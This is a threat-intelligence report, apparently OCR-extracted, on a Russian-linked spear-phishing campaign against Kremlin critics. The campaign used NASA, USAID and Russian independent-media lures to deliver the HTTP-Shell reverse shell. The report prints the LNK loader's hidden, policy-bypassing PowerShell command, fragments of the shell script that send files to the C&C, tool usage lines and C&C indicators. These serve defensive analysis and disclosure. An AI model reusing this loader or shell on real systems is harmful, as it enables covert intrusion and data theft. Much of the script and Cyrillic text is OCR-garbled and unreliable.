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Cluster25 uncovered a newly initiated campaign likely associated with a Russian APT (Advanced
Persistent Threat) group. The spear-phishing messages employed in this campaign targeted entities
that were openly critical of the Russian government and aligned with Russian dissident movements,
both within and beyond the nation's borders.

The attack analyzed by Cluster25 employed a NASA-themed lure to deceive the victim to execute an
open-source multiplatform reverse shell named as HTTP-Shell. During the investigation, Cluster25
researchers found many other artifacts related to attacks having the same TTPs and conducted in the
same days, discovering that the first note about this malicious campaign was made public by the
Netherlands-based investigative journalism group Bellingcat on X social network.

All of the analyzed attacks could be considered as belonging to the same campaign and related to the
same threat actor.

INSIGHTS

NASA-themed Attack
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The first stage of the attack consists of a ZIP file (756bb560e21453ac09215cc9aae9dc1a) named
“NASA _Job_Offer(2).zip” which contains a single LNK file disguised as a PDF titled “Offer.pdf”
(f2bc317ce04727cc99cfb6225e2a2802).

LNK TARGET

/c start /B findstr /R "CiRFcndvckFjdGlvbl" Offer.pdf.Ink > "%tmp%\Temp.jpg" & start /B pOwWERSHEIL
-windowstyle hidden -NoLogo -Nonlnteractive -NoProfile -ExecutionPolicy Bypass -c "
[Text.Encoding]::Utf8.GetString([Convert]::FromBase64 String((Get-Content "%tmp%\Temp.jpg"))) |
POwWERSsHEIL"

The PowerShell script searches for the string pattern "CiRFcnJvckFjdGlIvbl"” in the LNK file using the
findstr utility, then it redirects the output to a file named “Temp.jpg” in the % TEMP% directory and
finally it executes the resulting Base64-decoded PowerShell command.

if ($token) |

if ($invoke6d -like "up d
$file path = $inw Split("!")[1] ; $invokebd = %
if ($file path -notlike $
$download = file content = Send-HttpRequest
$(R64Decoder -f $file content.ToS

F ($invoke6d -like
$file path = $invoke ") 11
if ($file_path -notl ) | "\ [ path }
$file_content - $(R64Encoder
$upload = $(Send-HttpRequest "$server/a v1/C $file_content™) 2> $null

if ($invoke6d -
If ($pwshversion -gt 4 If ($invoke64) { $errorlog = %($commandx = pwn ("$invcke64 $redirectors”) | Out-String) 2>&1 }
El ($invoke6a) { - mmandx = pwn (“$invokes4”) | Out-String) 2>&1 }} ; $param = "D

rite-Output $error[@] | Out-String ; $param = "Error”
1

R64Encoder -t $comman $ in
%(Send-HttpRequest "§server/: f N " "$pa : $output64™) 2> $null }}

The executed Powershell script belongs to an open-source project calledHTTP-Shell, which is a
Multiplatform Reverse Shell working over HTTP. As stated on the official HTTP-Shell page, “the
main goal of the tool is to use it in conjunction with Microsoft Dev Tunnels, in order to get a connection
as close as possible to a legitimate one”.

[!] Usage: HTTP-Server.py [PORT]

# Linux CLI

[!] Usage: ./HTTP-Client.sh -c¢ [HOST:PORT] -s [SLEEP] (optional)

# Windows CLI

[!] Usage: .\HTTP-Client.psl -c [HOST:PORT] -s [SLEEP] (optional)
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https://github.com/JoelGMSec/HTTP-Shell

Among its capabilities, the shell is able to upload and download files, to auto-reconnect to the C&C,
and to move between directories. The command and control was chosen to appear as much as
possible like a legitimate PDF editing site to decrease the detection rate.

c&C

pdf-online[.]top

Meanwhile, the following PDF lure regarding NASA “Reasonable Accommodations Procedures for
Individuals with Disabilities” is displayed to the victim.

| NODIS Library | Human Resources and Personnel(3000s) | Search |

NASA NPR 3713.1C
Procedural Effective Date: April 22, 2019

. Expiration Date: April 22, 2024
Requirements

COMPLIANCE IS MANDATORY FOR NASA EMPLOYEES

Reasonable Accommodations Procedures for Individuals with
Disabilities

Responsible Office: Office of Diversity and Equal Opportunity
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RELATED ATTACKS

While investigating the aforementioned attack, Cluster25 researchers discover additional campaigns
that with high probability are related to the same threat actor, since they all use the same kill chain with
identical shortcut icons.

Mame Type Size

i 2023_Annual_Report.pdf Shortcut 2 KB
= ayaz.pdf Shortcut 524 KB
= fabrika-nakrutok-kak-vk-prevrashchaet-r..  Shortcut 304 KB
iz fakes_war_time.pdf Shortcut 340 KB
= kak-pomilovannye-vagnerovey-snova.pdf  Shortout 786 KB
i= Offer.pdf Shortcut 162 KB

Moreover, some of them use a similar lure (like USAID-themed attack) and share the same C&C
server.

First Lure

First seen: 2023-12-19

The first lure found is linked to USAID, the United States Agency for International Development, that
is an independent agency of the United States government primarily responsible for administering
civilian foreign aid and development assistance. This is the lure used in the phishing attack against
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Bellingcat, as stated in the introduction. The lure was related to the 2023 Annual report of the US
Agency. But the used PDF is actually a document called “USAID Shooting_guide”, a booklet on how to
shoot better documenting photos for the Agency’s interviews.

USAID

Shot list

Establishing a hero cha

USAID Shooting guide

This sample employs the same command and control server of the NASA-themed attack.

C&C

pdf-online[.]top

Second Lure

First seen: 2023-12-19

The second lure used by the threat actor is an article originally posted by OctopoxHo Media, a media
outlet related to Ksenia Sobchak, a Russian socialite, television presenter, and businesswoman. She
has been a vocal critic of Russian President Vladimir Putin and has expressed support for
democracy and human rights. The article is about Ayaz Shabutdinov, a businessman and blogger who
has been accused of fraud, in relation to his educational company called Like and their business
courses. Shabutdinov is being investigated by the police after eight people filed complaints against him.

«MpbI HE rapaHTHPYEM, YTO Thl MOKellb
NpHIiTH, HHYEro He JeJaTh U Ha Teds
CBAJIATCH MULIHOHBI». IHTEpBBIO As3a
IadyTaunoBa u3 CH30

HHH HEH

This attack, along with the ones employing all the subsequent lures in this report, shares the same
command and control server.
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https://2012-2017.usaid.gov/sites/default/files/documents/1869/USAID%20Shooting%20Guide.pdf
https://ostorozhno.media/ayaz/

c&C

api-gate[.]xyz

Third Lure

First seen: 2024-01-11

The third lure is an article written by the media outlet The Bell. The founder of the project is Elizaveta
Osetinskaya, a Russian journalist and media manager, former editor-in-chief of RBC, the Russian
version of Forbes magazine and also the Vedomosti newspaper. Osetinskaya condemned the 2022
Russian invasion of Ukraine, and then on April 1, 2022, she was declared foreign agent by the
Russian Ministry of Justice. The article speaks about how social media is being used to spread
misinformation during the Israel-Hamas conflict.

Deiiku BOEHHOTO BPEMEHH, CIOPIPH3bI 0T
Tesla n Netflix

Fourth Lure

First seen: 2024-01-12

Also the fourth lure is an article written by the media outlet The Bell. This article is about how the
Russian social network VK is used as a tool to spread political content towards Russians. Two
years ago, VK changed ownership and leadership, transitioning from Alisher Usmanov to Yuri
Kovalchuk and Gazprom Media, marketing a strategic shift in the company's objectives within the
controlled environment of the Russian internet (RuNet).
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https://thebell.io/feyki-voennogo-vremeni-syurprizy-ot-tesla-i-netflix-i-kak-obezopasit-svoi-google-docs
https://thebell.io/amp/fabrika-nakrutok-kak-vk-prevrashchaet-runet-v-televizor-s-pomoshchyu-komikov-trolley-i-blogerov
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Anspeii Tlepucn

HACTOSILHH MATEPHAJI (HHOOPMALUHS) [POI3BE/IEH H PACIIPOCTPAHEH
MHOCTPAHHBIM ATEHTOM THE BELL JINEO KACAETCS1 JIEATEJIBHOCTH
MHOCTPAHHOI'O ATEHTA THE BELL. 13+

Jloa rona masan VK " Buccro Amutcpa
VCMaHOB ¢ BIQCIBIAMK CTaIH APYT MpesHcHTa I0pHii Kosamayx 1 «I asmpos-ye .
Kpeciio renupexTopa cpasy moci SANST CHIH SAMIARB ATMHHHCTPALIHK TPCIHICHTD
Cepres Kupueixo Baanunup. C Tex nop VK pesparinacs i IT-Kounaiii ¢ coucerss,
Wrponbin Gisiiecom, TakcH i focTankoii st b «[lepautii xaran 5 widper. Manas sazaua

KOMITAHISH TCHCPh — 3ACTABHTE P A cnonx

BPEMHH H GASAT TaK, “TOBE TaM O HAXOAILIN TOBKO HOTITH'ICCKH BLIBCPEHNb KONTSIT.

PaCccKashiBac, UT0 HPOHCXOHT B CaMOii SAKDLITON KOMIAHIH PYHCTa.

Fifth Lure

«Uro y Tedst Tam npoucxoant? Troii akTHB — TaK
pa3bepucby

i uirepriety s nMeio ropaso Gonee rayGokoe orHoIEHME, ues T, 51 ero HE NONLIYIO, 5 €ro
PpasmiBaion — 5Ty dpasy, crasusyio smesom, 8 2017 roay npoussiec MiLIHapACp # ocHOBHOI
saenen VK (Gsbuas Mail.ru Group) Anmucp Y cwaros, ofpaimiasich k riasHomy

cTpanst Anckeeio Pollik nomyuics Yemanos
Hashipa1 HABAILHOTO CBDYHOM) H «(IYSCPOM) i FOBOPILI, HTO CAM OH, B OTIFHC OT IOHTHEA,
T p——

Buseo saxanunsanocs caosavit « Ty ta 163, Ancxcelt Hasannsib i TyT 2¢ pasousiocs ia
wirasr. Tosoton s crano BK «On sant e Lo, &
KOTOpOM 11p0 YeMaHoBa Ghia OTICITBHA aBa. B HCHl yTHCPALIOCE, 1T0 (O OJHOKYPCHHKS
MeABC/ICE N0y i 0T OIIHFApXa BOpCit Ha PyGiicaie. OBErHo repoi paccieiosanitli BBK He
CHICLIIH KOMMEHTHPORATS, OBBHHEHIE B KoppyIi & cBofi apee. Uro JacTaniio
neny6anunoro Vewanosa npamo #a sxte a 7 iPhone Plus sanucsmars Hasanbsiony netoe
suacobpanciie — Griio HexcHo.

Bee f1e10 B ToM, 110 «O Bans He JUnmoty, kaGpasuii sa wezemo B YouTube okoso 7 s
pOCMOTpOB, 3aRMpYCILICS HE TOEKO Ha 3o iiomazke. B cocetsix VK. Koropyio
KoMTpOHpOBa caM Vewaon, y itksa HIBILHONO Toe OKIANHCE OrPOMHBIE NPOCMOTPH,
paceasuBacT o 13 GbiIKX coTpyAHikon IT-kosmani. Kpewts Guia b 4pocts, KoMmanin

i a Yomanos pewi e To1bK0

oA™Y B Cy2, MO B meuno 7aTh OTBCT Habatsiony

Tocre BIXOa PACeNEAOBaHIS MPOTCCTHEE KM «OH Bant He Jusoin» npoui rowri s 100
ropojax ctpatiti. A Kpeatth io-cepy msien 2 O, v

3a couceri VK . B KOTOpbiIX
‘COTPYNMKH AJMHIICTPALHIH EPCSHICHTA PASIABATH SAAUH 10 NPOTBIKCHAIO HY OO
KONTCHTa, & BCKOPE HAYATH CIYCKATS  CaM KONTEHT. «CHAYATA POTHKH, KOTOPHIC Ham
npIHHOCITH, LU I0BOMLHO KpHITKOBEH . HO €O BpeMetieM KatiecTso poeio, a paGora erata
HA 1I0TOK, — paccKaILBaCT paGOTaBIINIE B KOMIAHIH B TO BPEMS COGCCEHHE.

Hanpiwep, 5 Tow e 2017 roay o «BKONTaKIE)  «OIHOKIGCCHHKIN CTAT HORBIRTHC
PO hS— e Jlexa, B koropos Octan Beniep ¢ autiom Hasanstioro
COGHPACT ACHEIH «C 10BCPUMBAIX IPAAIAHY, DEKIAMHEIC oCTE ¢ HaBANEHEIM H BCOHADEIKH
1101 3ar0108KOM HaBQILHOMY HYAHEL Ball ZeHLIi». A nepe BuGopas 2018 roza eme
o repoe cotcereii crai kanuat & npesents Manea Tpy . B nocrax npo nero
yrhepitatocs, uro [Py it «BPET» U CKPMBICT HHOCTPAMHEE CUeTa. 04012 MOMHTS
Tpy/mimia, Crosta 0CTpo, paccKashIBACT TOT e HETOWHIK: «CoIABATHCD COTHH, CCH He
THICSI CMHHIL KOHTCHTA — IOCTLL, PO/HKH, MCMBL OHM NPOZBHIATHCE H3 LCACEYI0
Y/UTOPHIO HIOJHTHKA — 1TOGK! HCIOBCK DA 33 PA3OM BIACI IOCTH 1IpO T, W10 LDV 1K
BOp", Hl Y HEFO CKIGILIBANOC OINYIEHILE, TO 5T0 IPABA, HOTOMY TO 0 3TOM FOBOPAT BCcs.
e o P sujeo ¢ i rotosoli
NOAMTHES, HO TAKOS B COUCCTAX NPOABKIATS BCe-TakH OTKasusancs, «Toraa sea AT nocusach
Ty uHHHBN — 10 GBUIA HyTh 11 HE CAHHCTECHHAR TEMA, KOTOPAs HX OO BPCA

Apyroii coBeceamuk, i B TO BPCMS B XQILIMHIC.

Ho npocto Akl KoHTCHT 11
Kuprcriso raasioli i i

cpate Cepree
i1 MOPATL BCE, 4TO

First seen: 2024-01-12

The fifth lure is an article shared by Verstka, a socio-political publication launched on April 26th 2022 as
a response to the Russian censorship of the media after the start of the Ukraine war. This outlet is led
by independent journalists. The article used as a lure is about how some pardoned Wagner Group
fighters have continued to commit crimes after returning to Russia. It discusses the number and the
types of crimes they have committed and the sentences they have received, being strongly critical to the
paramilitary organization.

concpuiator npecty Ho e 'HexoTopHIC YrO0BHAIC /1612 COTCPAT A0 BOCKAM HPCCTY ICHHH, ACCHTCPHX IOMILIOBHHEX

B TIophy CyANT 10 M 1M TP acaam, a yauTh cpasy o meetw, Kak.
cacayer ws 10 6 a cnodore,
Doty UrTpad), OBSATEILHHE Mk NpHHYTETMHIE PaGoTH ik yeroBHi cpox. Hoxmoueris
5 OCHOBHOM COCTABIAIOT CAyUaH, KOTa HpeCTy puo

570 yeromue AciicTByeT He Bocra.

TTpH STOM OUERILINO, HTO KOHUCCTBO MPECTYILICHIH TIOMLIOBAIHALX BATHEPOBLE FOPAO
Gomae. Cyas n g ne ad
5 PECC-PETISAX CILIOBMKI SAACTYIO He COODIIAIOT OF YHACTHN HPECTYHUKOS B Boilne
& Vipaune nan y 5

e micars o repe—
cymOCTID, @opiLy 1 [ — e

Hawwve yronosHsie nena sasen
Ha NoMMI0BaHHbLIX BarHepoBLUEB
B 2023 roay

Kpaxa/rpaGex/pa36oii
Hapywenve N/
HapKoTuueckve npectynnenms

Y6uiicTso/nonkiTka y6uiicraa

tUmoGis ne nponyemums «Bepemsu, nanaw R n
Tlepsas rpyna roNIIOBaNNIX OTPAGOTATA choii KoMTPaKT ¢ YBK i OTHpaBIIACE 0NOI B AHBIpE YroH 8
2023 roaa. A yake B MAPTC HOABILIMEE ICPBHE HOBOCTH O HOBLX IPECTYILICHHAY, KOTOPHE Ockop6renme/nanaaenvie g o
conepumaioT nostroBaHsic parscponusi. Enrerni [IpHramimn B Hiote STOr0 ro%a roBopi, 10 Ha Npe/CTaBUTeNs BAaCTM
BepyBices @ Tosty 8 Mowennuuecrso [ 7
€ Tex 110 CMH HeOHOKPATHO LICALI 0 PESONSHCHSX YOWICTEX M IHACHIOBIMIAX, V3nacunosanme/ | o

o i s Poceun @ HacWNbCTBEHHblE AeiCTBUA
Qe —— ¥ wncerno 032 npeery Noxvwenve [ 3

Poccuu u o1uom s ii  nowrn
B T T ——

BEPCTHA

a10poniio, G
waacri, wapywicwuus TUL 1 npoue.

p»  HanacHi Ha

VICTIMOLOGY

As mentioned in the introduction, the spear-phishing emails were directed at organizations that were
critical of the Russian government and supported Russian dissident movements, both within
and outside of Russia. Some of the lures used in the attacks originated from media sources
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https://verstka.media/kak-pomilovannye-vagnerovcy-snova-sovershayut-prestupleniya-no-ne-vsegda-vozvraschayutsia-v-tyurmu

associated within the Russian independent media sphere. It is worth noting that the first public
disclosure of this campaign came from the Netherlands-based investigative journalism group
Bellingcat. They were the first to publish a post on X detailing information about the attack.

In accordance with Cluster25 telemetry and visibility, activities associated with this campaign have been
observed in various countries worldwide, including Portugal, the USA, and Israel (as reported in the next
figure).

Portugal

15 activities \

8 activities

Turkey

Mexico 1 activity

1 activity

Israel
6 activities

Sluster25

ATTRIBUTION

During Cluster25 research, it was noted that the domain used in the attack against Bellingcat usaid[.]Jpm
resolves an IP address (80.78.26[.]183) that is related to a Sliver beacon of late September 2022.

Sliver, like HTTP-Shell, is an open-source tool for adversary emulation. So, it is possible that these
infrastructures and tools are related to the same threat actor.

The same |IP address was associated with other two domains resembling phishing pages and resulting
active in the same days as usaid[.]Jpom, from December 18th to 22th:

« nasa[.]Jnetwork probably related to the Nasa-themed attack previously described;
o zdg[.]Jre probably used by the attacker to simulate Ziarul de Garda (zdg.md), an independent
investigative weekly newspaper in the Republic of Moldova.
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https://github.com/BishopFox/sliver

Considering the techniques employed during the various observed attacks and the themes used in
crafting digital lures, it is highly plausible that the campaign is linked to an advanced group operating on
behalf of the Russian government against dissident movements both inside and outside of Russia.

MITRE ATT&CK MATRIX
TACTIC TECHNIQUE DESCRIPTION
Resource Development T1583.001 Acquire Infrastructure Domains
Initial Access T1566.001 Phishing: Spearphishing Attachment
Execution T1059.001 Command and Scripting Interpreter: PowerShell
Execution T1204.002 User Execution: Malicious File
Defense Evasion T1140 Deobfuscate/Decode Files or Information
Defense Evasion T1036 Masquerading
Defense Evasion 11027 Obfuscated Files or Information
Command and Control  T1105 Ingress Tool Transfer

Command and Control  T1071.001 Application Layer Protocol: Web Protocols

Exfiltration T1041 Exfiltration Over C2 Channel

INDICATORS OF COMPROMISE
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CATEGORY TYPE VALUE

ZIP SHA256 e058bc966a436982aef3b2cbc78a380be324e80fd0789716d0c069dd441d9a48
DROPPER

ZIP SHA256 506a64c619580bc91a51bde3a3c3f5aced3ed1106413ac11a721c56817b04573
DROPPER

ZIP SHA256 c3faaa3a6b0831f1d3974fcee80588812ca7afeb53cc173e0b83bcb6787fa13e
DROPPER

ZIP SHA256 9341cd36d012f03d8829234a12b9ff4e0045cb233e86127ef322dc1c2bb0b585
DROPPER

ZIP SHA256 61edbae96a0e64d68f457fdc0fc4f4a66df61436a383b8edea2a30d9c9c2adde
DROPPER

ZIP SHA256 36c¢7b7eb073a72ca37bab88b242cdadfc3cd5da7b4f714004bc63cdcee331970
DROPPER

LNK SHA256 f080eec275f07aec6b7a617e215d034e67e¢011184e1de5b2e71e441a6dd8027f
DROPPER

LNK SHA256 114935488cc5f5d1664dbc4c305d97a7d356b0f6d823e282978792045f1c7ddb
DROPPER

LNK SHA256 5fa3d13366348e7c999cca9al6e4d2f5ec7f518aca3b36f0366ecedba5f2b057
DROPPER

LNK SHA256 a5270b4e69f042fd7232b2bfc529¢c72416a8867b282b197f4aea1045fd327921
DROPPER

LNK SHA256 975c708b22b084d4b0d503b4c8129d1ffee057a0636b1beed59c448dd76bbad1
DROPPER

DROP- DOMAIN usaid[.]Jpm

POINT

DROP- DOMAIN nasa[.]Jnetwork

POINT

DROP- DOMAIN zdgl[.]re

POINT

DROP- DOMAIN news4youl.]top

POINT

C&C DOMAIN pdf-online[.]top

C&C DOMAIN api-gate[.]xyz

C&C URL http://pdf-online[.]Jtop/api/v1/Client/Info

C&C URL http://pdf-online[.]top/api/v1/Client/Token

C&C URL http://pdf-online[.]Jtop/api/v1/Client/Debug

® Malware, Intelligence, APT, Russia
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